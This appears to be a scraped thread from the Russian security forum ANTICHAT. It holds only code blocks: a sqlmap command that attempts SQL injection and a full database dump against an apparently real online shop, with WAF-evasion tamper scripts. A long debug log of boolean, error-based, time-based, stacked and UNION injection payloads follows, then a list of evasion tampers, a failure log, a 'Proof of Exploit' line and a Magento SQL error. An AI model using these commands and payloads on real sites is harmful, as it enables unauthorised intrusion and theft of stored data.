ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
sqlmap.py --random-agent -u "http://site.com/ShoppingPage.asp?CateID=7" -v 3 --batch -D SkhlmcPTBankDB --dump --no-cast --tamper=between,randomcase,space2comment,luanginx --time-sec=10 --threads=10

Code:
[03:59:00] [DEBUG] cleaning up configuration parameters
[03:59:00] [INFO] loading tamper module 'between'
[03:59:00] [INFO] loading tamper module 'randomcase'
[03:59:00] [INFO] loading tamper module 'space2comment'
[03:59:00] [INFO] loading tamper module 'luanginx'
it appears that you might have mixed the order of tamper scripts. Do you want to auto resolve this? [Y/n/q] Y
[03:59:00] [DEBUG] used the default behavior, running in batch mode
[03:59:00] [WARNING] using too many tamper scripts is usually not a good idea
[03:59:00] [DEBUG] setting the HTTP timeout
[03:59:00] [DEBUG] setting the HTTP User-Agent header
[03:59:00] [DEBUG] loading random HTTP User-Agent header(s) from file 'E:\sqlmap\data\txt\user-agents.txt'
[03:59:01] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty)' from file 'E:\sqlmap\data\txt\user-agents.txt'
[03:59:01] [DEBUG] creating HTTP requests opener object
[03:59:02] [INFO] resuming back-end DBMS 'microsoft sql server'
[03:59:02] [DEBUG] resolving hostname 'eshop.antibac-intl.com'
[03:59:02] [INFO] testing connection to the target URL
[03:59:03] [DEBUG] declared web page charset 'utf-8'
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQCTCBDAQ=BEHFEANBBCL...JDFNEOLDOF'). Do you want to use those [Y/n] Y
[03:59:04] [DEBUG] used the default behavior, running in batch mode
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: CateID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: CateID=7' AND 4290=4290 AND 'EMyv'='EMyv
    Vector: AND [INFERENCE]

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: CateID=7' AND 1088 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1088=1088) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(107)+CHAR(113))) AND 'AjKx'='AjKx
    Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: CateID=7';WAITFOR DELAY '0:0:10'--
    Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: CateID=7' WAITFOR DELAY '0:0:10'--
    Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: CateID=7' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(98)+CHAR(120)+CHAR(113)+CHAR(69)+CHAR(111)+CHAR(72)+CHAR(84)+CHAR(86)+CHAR(122)+CHAR(108)+CHAR(74)+CHAR(103)+CHAR(102)+CHAR(101)+CHAR(111)+CHAR(119)+CHAR(67)+CHAR(87)+CHAR(99)+CHAR(88)+CHAR(108)+CHAR(97)+CHAR(115)+CHAR(101)+CHAR(65)+CHAR(66)+CHAR(116)+CHAR(85)+CHAR(119)+CHAR(88)+CHAR(115)+CHAR(70)+CHAR(84)+CHAR(112)+CHAR(71)+CHAR(89)+CHAR(85)+CHAR(82)+CHAR(83)+CHAR(98)+CHAR(118)+CHAR(109)+CHAR(109)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(107)+CHAR(113),NULL,NULL-- jDXf
    Vector:  UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
---
[03:59:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[03:59:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 7 or 2008 R2
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2005
[03:59:04] [INFO] fetching tables for database: SkhlmcPTBankDB
[03:59:06] [DEBUG] resuming configuration option 'string' ('HK')
[03:59:06] [PAYLOAD] 7'/**/Union/**/AlL/**/SEleCT/**/nULl,nULl,nULl,nULl,nULl,nULl,ChaR(113)+ChaR(107)+ChaR(98)+ChaR(120)+ChaR(113)+(SEleCT/**/SkhlmcPTBankDB..sysusers.name+ChaR(46)+SkhlmcPTBankDB..sysobjects.name/**/As/**/table_name/**/FrOM/**/SkhlmcPTBankDB..sysobjects/**/innER/**/joiN/**/SkhlmcPTBankDB..sysusers/**/oN/**/SkhlmcPTBankDB..sysobjects.uid=SkhlmcPTBankDB..sysusers.uid/**/wHeRE/**/SkhlmcPTBankDB..sysobjects.xtype/**/iN/**/(ChaR(117),ChaR(118))/**/FOr/**/JSoN/**/AUTO,/**/iNCLUDE_nULl_VALUES)+ChaR(113)+ChaR(112)+ChaR(112)+ChaR(107)+ChaR(113),nULl,nULl--/**/pqUM
[03:59:06] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:07] [PAYLOAD] 7'/**/UniOn/**/aLl/**/sElecT/**/nuLl,nuLl,nuLl,nuLl,nuLl,nuLl,ChaR(113)+ChaR(107)+ChaR(98)+ChaR(120)+ChaR(113)+COUNt(SkhlmcPTBankDB..sysusers.name+ChaR(46)+SkhlmcPTBankDB..sysobjects.name/**/aS/**/table_name)+ChaR(113)+ChaR(112)+ChaR(112)+ChaR(107)+ChaR(113),nuLl,nuLl/**/frOM/**/SkhlmcPTBankDB..sysobjects/**/inNEr/**/Join/**/SkhlmcPTBankDB..sysusers/**/On/**/SkhlmcPTBankDB..sysobjects.uid=SkhlmcPTBankDB..sysusers.uid/**/wHERE/**/SkhlmcPTBankDB..sysobjects.xtype/**/iN/**/(ChaR(117),ChaR(118))--/**/OJqX
[03:59:08] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:08] [WARNING] the SQL query provided does not return any output
[03:59:08] [PAYLOAD] 7
[03:59:10] [PAYLOAD] 7'/**/aNd/**/3241/**/iN/**/(seLECt/**/(CHaR(113)+CHaR(107)+CHaR(98)+CHaR(120)+CHaR(113)+(seLECt/**/COUnt(SkhlmcPTBankDB..sysusers.name+CHaR(46)+SkhlmcPTBankDB..sysobjects.name/**/aS/**/table_name)/**/FroM/**/SkhlmcPTBankDB..sysobjects/**/iNNER/**/JOiN/**/SkhlmcPTBankDB..sysusers/**/On/**/SkhlmcPTBankDB..sysobjects.uid=SkhlmcPTBankDB..sysusers.uid/**/wheRe/**/SkhlmcPTBankDB..sysobjects.xtype/**/iN/**/(CHaR(117),CHaR(118)))+CHaR(113)+CHaR(112)+CHaR(112)+CHaR(107)+CHaR(113)))/**/aNd/**/'qpCU'='qpCU
[03:59:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:11] [WARNING] the SQL query provided does not return any output
[03:59:12] [PAYLOAD] 7'/**/uNiOn/**/All/**/selEct/**/NUll,NUll,NUll,NUll,NUll,NUll,cHAR(113)+cHAR(107)+cHAR(98)+cHAR(120)+cHAR(113)+(selEct/**/table_schema+cHAR(46)+table_name/**/fROM/**/information_schema.tables/**/WHeRE/**/table_catalog=cHAR(83)+cHAR(107)+cHAR(104)+cHAR(108)+cHAR(109)+cHAR(99)+cHAR(80)+cHAR(84)+cHAR(66)+cHAR(97)+cHAR(110)+cHAR(107)+cHAR(68)+cHAR(66)/**/fOr/**/JSON/**/AUTO,/**/INCLUDE_NUll_VALUES)+cHAR(113)+cHAR(112)+cHAR(112)+cHAR(107)+cHAR(113),NUll,NUll--/**/XTJu
[03:59:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:13] [WARNING] reflective value(s) found and filtering out
[03:59:13] [PAYLOAD] 7'/**/unIOn/**/All/**/SElEcT/**/Null,Null,Null,Null,Null,Null,CHar(113)+CHar(107)+CHar(98)+CHar(120)+CHar(113)+(SElEcT/**/name/**/FrOM/**/SkhlmcPTBankDB..sysobjects/**/WhERe/**/xtype=CHar(85)/**/fOr/**/JSON/**/AUTO,/**/INCLUDE_Null_VALUES)+CHar(113)+CHar(112)+CHar(112)+CHar(107)+CHar(113),Null,Null--/**/oEuh
[03:59:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:14] [PAYLOAD] 7'/**/uNiOn/**/ALl/**/SElecT/**/Null,Null,Null,Null,Null,Null,ChaR(113)+ChaR(107)+ChaR(98)+ChaR(120)+ChaR(113)+COUnT(name)+ChaR(113)+ChaR(112)+ChaR(112)+ChaR(107)+ChaR(113),Null,Null/**/FrOm/**/SkhlmcPTBankDB..sysobjects/**/Where/**/xtype=ChaR(85)--/**/jzSk
[03:59:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:15] [WARNING] the SQL query provided does not return any output
[03:59:15] [PAYLOAD] 7'/**/ANd/**/6591/**/In/**/(seLEct/**/(chAR(113)+chAR(107)+chAR(98)+chAR(120)+chAR(113)+(seLEct/**/CoUNT(name)/**/FROm/**/SkhlmcPTBankDB..sysobjects/**/WhERe/**/xtype=chAR(85))+chAR(113)+chAR(112)+chAR(112)+chAR(107)+chAR(113)))/**/ANd/**/'SuZW'='SuZW
[03:59:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:16] [WARNING] the SQL query provided does not return any output
[03:59:16] [INFO] fetching number of tables for database 'SkhlmcPTBankDB'
[03:59:16] [PAYLOAD] 7'/**/AnD/**/UniCODE(sUBstRInG((SeLeCt/**/ltriM(StR(cOUnT(name)))/**/fRoM/**/SkhlmcPTBankDB..sysobjects/**/wheRe/**/SkhlmcPTBankDB..sysobjects.xtype/**/In/**/(CHar(117),CHar(118))),1,1))/**/NOt/**/BETWEen/**/0/**/AnD/**/51/**/AnD/**/'dxUf'='dxUf
[03:59:17] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:17] [WARNING] unexpected HTTP code '500' detected. Will use (extra) validation step in similar cases
[03:59:17] [PAYLOAD] 7'/**/ANd/**/UnIcODe(sUbstRIng((SELeCT/**/LtRim(stR(cOunT(name)))/**/FRoM/**/SkhlmcPTBankDB..sysobjects/**/wHeRe/**/SkhlmcPTBankDB..sysobjects.xtype/**/In/**/(ChAR(117),ChAR(118))),1,1))/**/Not/**/bEtwEeN/**/0/**/ANd/**/48/**/ANd/**/'dxUf'='dxUf
[03:59:18] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:18] [PAYLOAD] 7'/**/AnD/**/UnIcODE(SUBstRIng((sELect/**/LtRim(sTr(coUNt(name)))/**/FRoM/**/SkhlmcPTBankDB..sysobjects/**/wheRE/**/SkhlmcPTBankDB..sysobjects.xtype/**/In/**/(chAr(117),chAr(118))),1,1))/**/NOt/**/bETweEN/**/0/**/AnD/**/9/**/AnD/**/'dxUf'='dxUf
[03:59:19] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:19] [INFO] retrieved:
[03:59:19] [DEBUG] performed 3 queries in 2.67 seconds
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[03:59:19] [DEBUG] used the default behavior, running in batch mode
[03:59:19] [PAYLOAD] 7'/**/iF(UNICOde(sUbstrInG((SELEcT/**/lTRiM(StR(Count(name)))/**/FroM/**/SkhlmcPTBankDB..sysobjects/**/whERe/**/SkhlmcPTBankDB..sysobjects.xtype/**/In/**/(cHAR(117),cHAR(118))),1,1))/**/noT/**/beTWeen/**/0/**/aND/**/51)/**/WAITFOR/**/DELAY/**/'0:0:10'--
[03:59:19] [WARNING] time-based comparison requires larger statistical model, please wait.................. (done)
[03:59:35] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:35] [PAYLOAD] 7'/**/If(uNIcODE(SUbSTriNg((sELEct/**/LtrIM(stR(COunT(name)))/**/FroM/**/SkhlmcPTBankDB..sysobjects/**/wHere/**/SkhlmcPTBankDB..sysobjects.xtype/**/iN/**/(ChAr(117),ChAr(118))),1,1))/**/noT/**/betWEEN/**/0/**/AnD/**/48)/**/WAITFOR/**/DELAY/**/'0:0:10'--
[03:59:35] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[03:59:36] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:36] [PAYLOAD] 7'/**/iF(UnicOdE(SubString((SElECt/**/lTRim(sTr(cOuNT(name)))/**/fRoM/**/SkhlmcPTBankDB..sysobjects/**/wheRe/**/SkhlmcPTBankDB..sysobjects.xtype/**/In/**/(Char(117),Char(118))),1,1))/**/Not/**/BEtwEEn/**/0/**/AnD/**/9)/**/WAITFOR/**/DELAY/**/'0:0:10'--
[03:59:37] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[03:59:37] [INFO] retrieved:
[03:59:37] [DEBUG] performed 3 queries in 17.57 seconds
[03:59:37] [INFO] resumed: 0
[03:59:37] [DEBUG] performed 0 queries in 0.00 seconds
[03:59:37] [CRITICAL] unable to retrieve the tables for any database
[03:59:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 13 times

Code:
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

Code:
[01:16:41] [CRITICAL] unable to retrieve the tables for any database
[01:16:41] [WARNING] HTTP error codes detected during run:
414 (Request-URI Too Long) - 4 times, 500 (Internal Server Error) - 1 times, 400 (Bad Request) - 1 times, 404 (Not Found) - 8 times
[01:16:41] [DEBUG] too many 4xx and/or 5xx HTTP error codes could mean that some kind of protection is involved (e.g. WAF)

Code:
Proof of Exploit
SQL query - SELECT database()

admin8sasdasd

Code:
HTTP/1.1 503 Service Unavailable
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''/result/''q=1'')' at line 1

Trace:
Error log record number:
Magento is a trademark of Magento Inc. Copyright © 2010 Magento Inc.